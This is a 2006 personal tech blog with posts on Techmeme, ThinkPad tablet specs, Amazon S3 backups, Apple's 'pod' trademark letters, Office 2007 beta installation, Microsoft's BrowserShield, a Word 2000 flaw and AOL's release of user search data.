Download Squad, Engadget, TechBlog, The PC Doctor, Ed Bott's Windows Expertise, Todd Bishop's Microsoft Blog, Guardian Unlimited, Silicon Valley Sleuth, Blackfriars' Marketing, Tech Digest, Ed Bott's Microsoft Report, Microsoft News Tracker, Gearlog, Slashdot, Under The Stairs, TechCrunch, Search Engine Journal, Office Evolution, Download Squad, Screenwerk, ContentBlogger, InsideGoogle, Black Voices, paidContent.org, 21talks, GigaOM, robhyndman.com, Between the Lines, Silicon Valley Watcher, Good Morning Silicon Valley, Valleywag, Googling Google, Search Engine Journal, Google Blogoscoped, Download Squad, Mashable!, Digital Inspiration, Google Operating System, digg, Scobleizer, Beet.TV, AdJab, IP Democracy, TechEffect, Search Engine Journal, ClickZ News Blog, Bloggers Blog, Digital Micro-Markets, Techdirt, rexblog, CNNMoney.com, E-consultancy, Web Worker Daily, StrayPackets, rexblog, greg hughes, Gadgetopia, Scripting News, digg...

Quite the mix of properties, blogs, new sites, names and sources there. Also quite a group to be associated with, to be honest. Often individuals who post on personal weblogs are listed right alongside pro bloggers from big organizations and companies. That's proof that the playing field is as level as you care to make it. Listed in the same context as CNN Money, Todd Bishop, Michael Arrington and Om Malik? That's a level field, alright. Heh.

And another thought... I find that even though I subscribe to Techmeme via RSS, I prefer reading and using it via the browser because of the way it positions and presents information on the page. You just don't get the same dimensional organization in RSS, and not everything works best in "river mode."

Do you read Techmeme? You should. Really.



Add/Read: Comments [2]
Blogging | Tech
Wednesday, October 04, 2006 8:52:54 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Rob Bushway over at gottabemobile.com has posted some pre-announcement specs about the forthcoming ThinkPad X60s Tablet PC, which is highly anticipated as the next big Tablet PC thing from Lenovo (the company that now makes those ThinkPad notebooks we all love).

Supposedly, from what people are saying, the actual announcement is not scheduled until next month, but here's what Rob says he hears we can expect (go to his site for the details). If it all holds true, this looks like a very interesting machine. I have to hope the graphics and DualTouch will support Vista. In fact, one has to wonder when Vista will be the default OS on these things. When you consider RTM is likely to happen early next month for the new OS, the stars do seem to align. Hmmm...

Anyhow - back to the geek-out specs:

  • Intel 945GM chipset

  • Intel Core Solo and Core Duo Processors Low Volt Processors

    • Core Duo ( L2400 (1.66ghz) and L2500 (1.83 ghz)

    • Core Solo (U1400 (1.2 ghz) to announce in January 2007

    • new 2.5" SATA high-speed, standard models with 5400rpm, up to 120gb capacity and optional 100gb 7200 rpm HD available

    • 128mb of Intel Graphics Media Accelerator 950

    • Up to 4gb of PC2-5300 DDR2 memory (667 MHz) - 3.2gb available to the operating system

    • 2 memory slots - memory is no longer soldered to the mother board

  • connectivity

    • 802.11 a/b/g

    • Embedded Wireless WWAN

    • Bluetooth options

    • Integrated modem and Gigabit

  • 12.1" XGA Wide angle display ( 170 degrees) comes standard with

    • Anti-glare / anti reflective coating, now with dynamic screen orientation that adapts the screen to how you want to work ( we are assuming this is like the M200 and M400 accelerometer that auto rotates based on the angle you hold the screen)

    • Plus two other new screen options

      • Optional models available with SXGA ( max res of 1400 x 1050)

      • Optional models available with indoor / outdoor viewing capability with touch screen for enhanced ease of use and flexibility

        • MultiTouch screen allows either finger or pen touch to move cursor for ease of use and more natural interaction with tablet

        • MultiView display provides better screen technology for viewing indoors, outdoors, and from wide angles ( 170 degrees )

  • UPDATE: The pen has an eraser on the end of it



Add/Read: Comments [0]
Tablet PC | Tech
Wednesday, October 04, 2006 4:50:42 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Jeremy Zawodny's been looking at options to replace his traditional home backup server with something a little more modern and potentially better from a cost and maintenance perspective. He's looking at Amazon S3 for that purpose.

Not too long ago, Amazon released their Simple Storage Service (or "S3" for short). It provides a hosted storage platform which developers can build all sorts of applications on top of. Smugmug, a popular photo sharing web site, is using it to store and host pictures.

I've been considering using S3 as the backend to an on-line backup, since I'd been beating that for a while (see: Swimming Pools and Hard Disks and Cheap On-Line Storage Coming Soon).

In a few days I'll write about how to do this--I'm only partially through the process right now. But right now I want to lay out the motivation for doing this.

I'll be keeping my eye on this, since I was thinking about trying something similar. The idea of buying yet another piece of hardware, which could sit at home on a slower connection and potentially break on me over time, is less appealing than a sufficiently secure system that I could get to from literally anywhere. And as I work more and more with larger pieces of personal data, the need continues to grow.

Source: Replacing my home backup server with Amazon's S3
Originally published on Wed, 04 Oct 2006 04:51:36 GMT

Technorati tags: , , ,


Add/Read: Comments [1]
Tech
Wednesday, October 04, 2006 3:04:59 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, October 03, 2006

My job is all about catching bad guys, building great software to help do that, protecting information, and a variety of similar things. the company I work for builds software than somewhere around a third of the country uses in some manner to conduct financial transaction on the Internet, so the topic of security is important to me.

I'm regularly participating these days in interviews with members of the media, and recently one resulting story was published that I thought did a nice job of covering the bases regarding security in financial services and the human elements. What has to be recognized in order to succeed in this fight is that the user is not predictable, accountable or reliable. It's the truth, it's important to know, and it's a fact we have to plan for and design into our security models.

Read the story here: Finance on Windows - "For Your Eyes Only"



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Tuesday, October 03, 2006 1:05:14 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

From the "Department of You've Got To Be Kidding Me" comes word that BlackBerry users are blaming others for their problems:

"CrackBerry addicts: Why the workers who can't switch off are suing their employers"

... now these discreet handheld gadgets, which provide workaholics with constant email updates, are being blamed for chronic insomnia, relationship break-up, premature burn-out, and even car crashes.

British employers are being warned they could face multi-million-pound legal actions from BlackBerry-addicted staff on a similar scale as class law-suits taken against tobacco companies. Research by the University of Northampton has revealed that one-third of BlackBerry users showed signs of addictive behaviour similar to an alcoholic being unable to pass a pub without a drink.

The report found that some BlackBerry users displayed textbook addictive symptoms - denial, withdrawal and antisocial behaviour - and that time with their families was being taken up with BlackBerry-checking, even at the dinner table.

That's awesome. So what this means, basically, is that I am set for life. I have a guaranteed lawsuit at this rate, I mean you should see me with this thing - I blame the world for my addiction! Who can I sue next?

What ever happened to plain-old, self-assigned-responsibility? Jeez.

And, for your related viewing pleasure (note the video contains some video-blurred nakedness):



Add/Read: Comments [1]
Mobile | Tech
Tuesday, October 03, 2006 10:26:07 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, October 01, 2006

So, this is a pretty cool find. I recently acquired a Nikon D200 (which, by the way, is super-sweet and I still need to write about it and the lens and stuff I picked up), which has (or will soon have) a cable that can plus into a GPS device to record your position on the face of the earth in the image EXIF data. I may just make my own cable -we'll see.

Meanwhile, Jelbert has this nifty new thing called GeoTagger:

"The Jelbert GeoTagger connects to a Garmin Geko 301 GPS device and fits into a DSLR's flash shoe. Every time you take a photo the camera triggers the geotagger, which records the precise position and heading of a camera using the GPS device."

Technorati tags: , , , ,


Add/Read: Comments [0]
Geek Out | Photography | Tech
Sunday, October 01, 2006 1:26:35 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, September 29, 2006

I've had some personal experience in the past couple of years - mostly all good - what some call "agile" programming styles. One thing I don't like much, however, is the sometimes "religious" slant that can invade agile development teams. If you think about it, an agile methodology that doesn't allow itself to be flexible is just about as non-agile as possible. In other words, agile zealots can at times defeat the benefits of the methodology.

The one thing I have found is truly necessary for any agile-ish method to work is 100% participation and buy-in on the part of all involved, from the workers all the way up through every layer of lead and management. Without that, it will fail eventually.

Steve Yegge lives up there in Washington and has written an excellent (and beautifully opinionated) piece about what he calls Good Agile and Bad Agile. If you're a developer or a manager of developers you'll either agree or disagree with Steve, probably strongly in whichever direction you lean. Regardless of your position, it's worth your time to read what he has to say.

I mean hey, he's so colorful, even if you don't have a clue what agile development is you can enjoy the writing. Heh. Forgive the language quoted (like I need to say that). Here's an excerpt:

... Up until maybe a year ago, I had a pretty one-dimensional view of so-called "Agile" programming, namely that it's an idiotic fad-diet of a marketing scam making the rounds as yet another technological virus implanting itself in naive programmers who've never read "No Silver Bullet", the kinds of programmers who buy extended warranties and self-help books and believe their bosses genuinely care about them as people, the kinds of programmers who attend conferences to make friends and who don't know how to avoid eye contact with leaflet-waving fanatics in airports and who believe writing shit on index cards will suddenly make software development easier.
You know. Chumps. That's the word I'm looking for. My bad-cholesterol view was that Agile Methodologies are for chumps.

But I've had a lot of opportunity to observe various flavors of Agile-ism in action lately, and I now think I was only about 90% right. It turns out there's a good kind of Agile, although it's taken me a long time to be able to see it clearly amidst all the hype and kowtowing and moaning feverishly about scrums and whatnot. I have a pretty clear picture of it now.

And you can attend my seminar on it for the low, low price of $499.95! Hahaha, chump!
No, just kidding. You'll only find seminars about the Bad kind of Agile. And if in the future you ever find me touring around as an Agile Consultant, charging audiences to hear my deep wisdom and insight about Agile Development, you have my permission to cut my balls off. If I say I was just kidding, say I told you I'd say that. If I then say I'm Tyler Durden and I order you not to cut my balls off, say I definitely said I was going to say that, and then you cut 'em right off.

I'll just go right ahead and tell you about the Good Kind, free of charge.

It's kinda hard to talk about Good Agile and Bad Agile in isolation, so I might talk about them together. But I'll be sure to label the Good kind with a happy rat, and the Bad kind with a sad dead rat, so you'll always know the difference.

How can you not read what this guy has to say? That's just a start - read it all on Steve's blog.



Add/Read: Comments [0]
Tech
Friday, September 29, 2006 10:14:30 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, September 23, 2006

Saw this coming a mile away. It's always fascinating when people - or companies - show their true colors.

Apple Computer is sending cease and desist letters, apparently, so a number of companies and organizations that are using the term "pod" in their positioning or names, claiming it causes confusion in the marketplace. Podcast Ready is the latest victim among several.

Give me a break.

The deal is this: It's said Apple has recently applied for coverage from the USPTO to get protection via trademark for the word "pod" in addition to the already protected term "iPod." They've not been granted protection, and I would hope they won't get it. "Podcast" is probably next on their list, at this rate. I see several others have already applied for the term and several variants.

But , after all, it doesn't take a solid legal footing to be a bully, it just takes - well - a bully mentality.

And now, it appears the fight is being taken to the podcasting playground. Despite the fact that Apple didn't invent the term "podcasting," and despite the fact that they adopted - even embraced - the term (and created a whole section and special logo for iTunes, etc.), Apple apparently believes they can Monday-morning-QB this one into the courts - and they must think they can win. One would hope that's not the case, but in California, who knows.

Don't get me wrong - Apple's a company that makes cool stuff and I own a Mac in addition to my PCs. But hey - no one likes a bully, especially when there's really nothing to gain, and a lot of people who could be negatively affected as a result of this move. The idea that the terms "Podcast Ready" and "myPodder" could be confusing in a way that hurts Apple is a stretch. "Podcast" is practically a household term now, and the fact is that Apple didn't jump in until well after it became the defacto standard name and term (despite some heated debates early on around the terminology).

Apple really needs to go find someone or something else to pick on, lest all the other kids on the playground get tired of the black eyes and bruises. Or send some of the lawyers out for a vacation or something. Their judgement is getting clouded.



Add/Read: Comments [2]
Tech | Things that Suck
Saturday, September 23, 2006 9:45:06 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

In a few hours I'm heading for San Francisco (again) to speak tomorrow at (yet another) conference. I'm starting to realize that my little world has certainly changed over the past few years. These days I find myself constantly on the road, speaking in front of groups of people who need to know more about that which I know. I'm on the phone or face-to-face a few times a week with reporters and industry analysts, talking about Internet security, anti-fraud efforts and identity protection.

And somehow I thought I was going to be a photographer. Heh.

Sure, the flying can be tiring (drink lots of water on-board, that's the ticket, except you can't carry it on anymore), and I think I could probably count on my fingers and toes how many times I've slept in my own bed in the past six months. But the experience is a great one, and I am learning and growing more and more every day.

Tomorrow afternoon's topic of conversation (which incidentally is how I try to do my presentations - interactively) is "Solving the challenges of multi-factor authentication." I plan to discuss strong authentication in general (which includes multi-factor among other methods), the many wonders of passive and active behavior biometrics, Cardspace/Infocard and related projects, why we need stronger authentication in the first place, the difficulties of deciding what to implement and how to make it happen, what the impact of requiring strong authentication is on consumers and businesses, and some creative ways to meet the needs of everyone involved. So, nothing big. If you're an identity and access-management geek, or someone who has to implement this stuff, it's probably interesting. If you're anyone else, you're probably bored already, heh. ;)

Best part, though, is that I will get to see my dad, whose birthday I missed last month due to a fit of travel and business overextension on my part. I think I was in Minneapolis or something. I am very much looking forward to spending some time with him.



Add/Read: Comments [0]
Random Stuff | Tech
Saturday, September 23, 2006 8:22:34 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, September 20, 2006

There's no point in droning on and on about this one - Scott Hanselman is 100% correct when he proclaims:

"I say this: IE7 and Office 2007 not supporting Basic or Digest Authentication out of the box for accessing secure feeds will negatively affect adoption of RSS more than any other failing of the spec since its inception. It will slow adoption down at every level; it will make it harder for Financial Institutions to justify it and it will flummox internal Enterprises who don't have completely NTLM/AD infrastructure."

He discusses this in the context of using RSS to securely retrieve feeds for banking data, for example. Sure, there are many points to ponder regarding the retrieval and storage of likely sensitive information, but in the end this is something that will be needed, and would be useful now for many uses.

Do you think this functionality is important? Scott does and so do I. Read his post, Accessing Private and Authenticated Feeds - Why it's important, and say something - in the comments here on this blog, on Scott's blog, on the IE Blog, on your blog.



Add/Read: Comments [0]
Blogging | RSS Stuff | Tech
Wednesday, September 20, 2006 3:44:51 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 19, 2006

Microsoft today announced and released (in an apparently closed beta) Soapbox, their new service aimed at the YouTube crowd. Word is it will allow you to upload your videos, up to 100MB, for sharing with others. Works with Windows Media player or Flash embedded in the web page. You can get on the waiting list for a beta account via a link on the Soapbox site.

This should be interesting to watch. From the site:

"Soon you’ll be able to upload your own videos, watch those made by other contributors, post comments on what you’ve seen, and much more."

I sure hope I can subscribe to feeds there. That would be a terrible boat to miss. We'll see soon enough.

   Soapbox



Add/Read: Comments [0]
Random Stuff | Tech
Tuesday, September 19, 2006 5:55:21 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, September 17, 2006

Update: I was able to get the refresh installed - see below...

I've been running the various betas of Office 2007 for many months now, and the other day Microsoft released their Office 2007 Beta Two Technical Refresh. I ran across installation failures when I tried to install it, and the error that comes up when the installation fails was slightly less than helpful:

So I started looking around for any bright ideas. I found the below KB article (which is apparently the one that is supposed to be referenced in the above dialog box, according to the release notes - oh and by the way, don't even try to view it in Firefox Beta 2, use IE if you want to be able to read all of it, sheez):

http://support.microsoft.com/kb/923718/en-us

I tried all the suggestions in there, to no avail. And now my Office programs have some horribly broken ribbon and menu bars. Uh oh.

Any ideas? I am going to try a reboot and maybe one more installation try, and then it's off to the newsgroups I go...

-------

Update:

I ended up having to uninstall the entire Office 2007 suite, reinstall it, and then run the Beta 2 TR updater. Once I did that all was fine. Now I am up and running on the latest and greatest. Performance in Outlook is improved, and some menu items and buttons have been moved around in ways that make good sense. All the Office programs seem snappier and cleaner. PowerPoint is so much better performing in this version it's back to being usable again (the last version was a freakin' dog).



Add/Read: Comments [1]
Tech
Sunday, September 17, 2006 3:56:50 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Corillian - the company I work for - is hiring. We have a number of positions open across the country, in a variety of locations.

Right now I have one opening in the Security Solutions business (for an experienced software QA engineer), plus all around the company there are a variety of interesting positions and opportunities. As of the time of this post, positions are available in offices located in Portland, Oregon as well as Omaha, New York City and Reston, Virginia. Current jobs include positions in software development, test, product management, support, customer management, database administration and systems administration.

You can check out all the current openings at the Corillian web site job search page. If you find something you like, let me know and I will be glad to discuss the position in my section, or to tell you more about the company. My email and mobile phone numbers are on this blog's web page, over at the right. Don't be shy - I'll be glad to hear from you.



Add/Read: Comments [1]
Random Stuff | Tech
Sunday, September 17, 2006 9:33:17 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, September 09, 2006

BMW Hydrogen Powered

Reports are that BMW is testing a production 7-series that runs on either gasoline or hydrogen. They've been doing tests on vehicle designs that can run on water and the sun for power since the 1970's, and they set a bunch of hydrogen-powered vehicle speed records in recent years, as well (in a silly looking car). But more recently BMW has said that their hydrogen combustion engine powered vehicle (read: no fuel cells and no emissions) would be available by 2008. Looks like they might deliver on that promise.

Lots of manufacturers are working on various designs. There are also companies working to let you retrofit your existing gasoline vehicles.

(Image from AutoExpress - dick the pic for original)

via leftlanenews



Add/Read: Comments [0]
Random Stuff | Tech
Saturday, September 09, 2006 7:33:11 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 05, 2006

"You really don't want to go there today..."

It's a bug zapper for web browsing. It's a cool idea. How it will be secured and made solid I am not sure, but this is good news and a positive step toward solving zero-day exploits and quite possibly many vulnerabilities on unpatched browsers in the future.

Microsoft Research is working on something they call BrowserShield, which will allow Internet Explorer to detect malicious code and rewrite it, then displaying the cleaned version of any static or dynamic page in the browser to the end user.

From eWeek:

Researchers at the Redmond, Wash., company have completed work on a prototype framework called BrowserShield that promises to allow IE to intercept and remove, on the fly, malicious code hidden on Web pages, instead showing users safe equivalents of those pages.

"We basically intercept the Web page, inject our logic and transform the page that is eventually rendered on the browser," Wang said. "We're inserting our layer of code at run-time to make the Web page safe for the end user."

More on eWeek.com

Tags: , , , , , , ,



Add/Read: Comments [1]
IT Security | Tech
Tuesday, September 05, 2006 9:29:11 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Still using Office 2000? Note that it's about seven years old and two versions have been released since then (with one more coming soon). Here's another good reason to stay up to date...

From ZDNet:

An "extremely critical flaw" in Microsoft Word 2000 is currently being exploited by malicious attackers, which could lead to remote execution of code on a user's system, security researcher Secunia advised Tuesday...

...Microsoft has not yet issued a patch for the vulnerability, and users are advised to forgo opening untrusted documents.



Add/Read: Comments [0]
IT Security | Tech
Tuesday, September 05, 2006 7:49:57 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, August 22, 2006

Just downloaded Windows Live Writer, a blog publishing tool that was released in Beta by Microsoft while I was on vacation. Omar was using it (without being able to say exactly what he was using) and said to keep an eye out, someone was releasing a sweet blog authoring tool, and this is it. I am writing this post after a very fast and automagical installation of the Live Writer software.

Windows Live Writer Screenshot

Wow, that was cool, pasting that image in the window... Finally, a blog authoring package that lets me copy an image to the clipboard without saving it and then lets me CTRL-V to paste it into the editing window, without having to save the image on the clipboard as a file - and drop-shadows to boot!

And, if all works well, I will be able to post this to my dasBlog weblog without using FTP for the images, using the metaweblog API enhancements in dasBlog.

There's lots of great little features. Check it out and try it out.



Add/Read: Comments [0]
Blogging | Tech
Tuesday, August 22, 2006 7:16:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, August 11, 2006

Fly in and out of enough airports and you'll end up dazed and confused. After flying something like a zillion miles so far this year and transiting who knows how many gates at how many airports, combined with the fact that Arizona has a history of operating on it's own unique clock like a separatist nation... Well anyhow I got to Phoenix (at least I know where I am) and realized I have no idea what time it it here. I am also too lazy to get up and find a clock (a device you'd think you'd find in abundance, but which is actually desperately missing from almost every airport).

So, Google to the rescue. Did you know Google will tell you what time it is anywhere you like? Just ask:

What time is it in Phoenix, AZ?

Google-time

There ya go - It's not just about keyword search!



Add/Read: Comments [4]
Random Stuff | Tech
Friday, August 11, 2006 1:13:03 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, August 09, 2006

Proof that cyber-crime is real, Consumer Reports is out with their State of the Net survey. It's pretty much as bad as we all know. From MSNBC:

"...American consumers lost more than $8 billion over the last two years to viruses, spyware and various schemes.

" Additionally, it shows consumers face a 1-in-3 chance of becoming a cybervictim -about the same as last year."

Thing is, prevention is much less costly than reactively paying for damage already done. You want to prevent the guy from getting into your place? Or do you prefer to let him in but then keep him from walking out the door with your money? Or are you like most people, who are resigned to watching him walk out the door with the prize, throwing your hands up in the air, and blaming someone (anyone, really) else?

How do we convince people, and what will it take?



Add/Read: Comments [0]
IT Security | Safe Computing | Tech | Things that Suck
Wednesday, August 09, 2006 1:57:19 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, August 07, 2006


UPDATE - AOL apologizes (not as if it makes a difference at this point, though):

"This was a screw-up, and we're angry and upset about it. It was an innocent enough attempt to reach out to the academic community with new research tools, but it was obviously not appropriately vetted, and if it had been, it would have been stopped in an instant," AOL, a unit of Time Warner, said in a statement. "Although there was no personally identifiable data linked to these accounts, we're absolutely not defending this. It was a mistake, and we apologize. We've launched an internal investigation into what happened, and we are taking steps to ensure that this type of thing never happens again."


AOL, over on their research wiki site, on Sunday posted an article describing their release of search data collected for more than a half million AOL users over a three month period. They claimed the data was made "anonymous," and that it was being released for research reasons. Problem is, it's not anonymous enough. Each unique user was replaced with a unique random identifier. That means you can see everything that user 336072 searched for. What if someone examined everything you searched for over three months? Even without knowing your name explicitly, do you think they might be able to find out some interesting things? Have you ever done a "vanity" search?

It's just not anonymous enough. I have a copy of the data that I downloaded before it was taken offline, and I've poked around in it a bit, so I know. Not only that, but spammers and search engine "optimizers" out there are going to have a field-freakin-day with this data. No, I won't share it with anyone else. It never should have been released in the first place, so I am not going to add fuel to the fire.

Michael Arrington at TechCrunch wrote about it in his blog entry entitled "AOL Proudly Releases Massive Amounts of Private Data," and updated his post a couple times as AOL mysteriously removed the data file from the web, as well as the page announcing the availability.

Arrington: "AOL must have missed the uproar over the DOJ's demand for "anonymized" search data last year that caused all sorts of pain for Microsoft and Google. That's the only way to explain their release of data that includes 20 million web queries from 650,000 AOL users."

When you consider that AOL search is - get this one - actually Google's search with a different face on it, you can imagine what the emails and phone calls that went flying around between the two companies on Sunday afternoon might have sounded like. Ouch.

Yeah, and so much for the privacy of AOL's users. If you're an AOL user, is that what you signed up for, to be a guinea pig in AOL's poorly-planned foray into academia? I think not. This is identity theft just waiting to happen, that's what this is. Again from Arrington:

"The data includes personal names, addresses, social security numbers and everything else someone might type into a search box. The most serious problem is the fact that many people often search on their own name, or those of their friends and family, to see what information is available about them on the net. Combine these ego searches with porn queries and you have a serious embarrassment. Combine them with "buy ecstasy" and you have evidence of a crime. Combine it with an address, social security number, etc., and you have an identity theft waiting to happen. The possibilities are endless. "

Google says "do no evil" and keeps this kind of data under wraps when challenged in federal court. AOL? Not so much.

Any would-be AOL boycotters better be prepared, though. Last we checked, you can't even cancel your account at AOL without being put through the ringer. Several years ago when I canceled mine it was a several-months-long experience before I was able to decipher enough to get the billing truly stopped. Coming and going, that's how they get ya in Dulles... There's a reason PC Magazine ranked AOL "Number One" in a list of things you'd really rather not be on...

Technorati : , , ,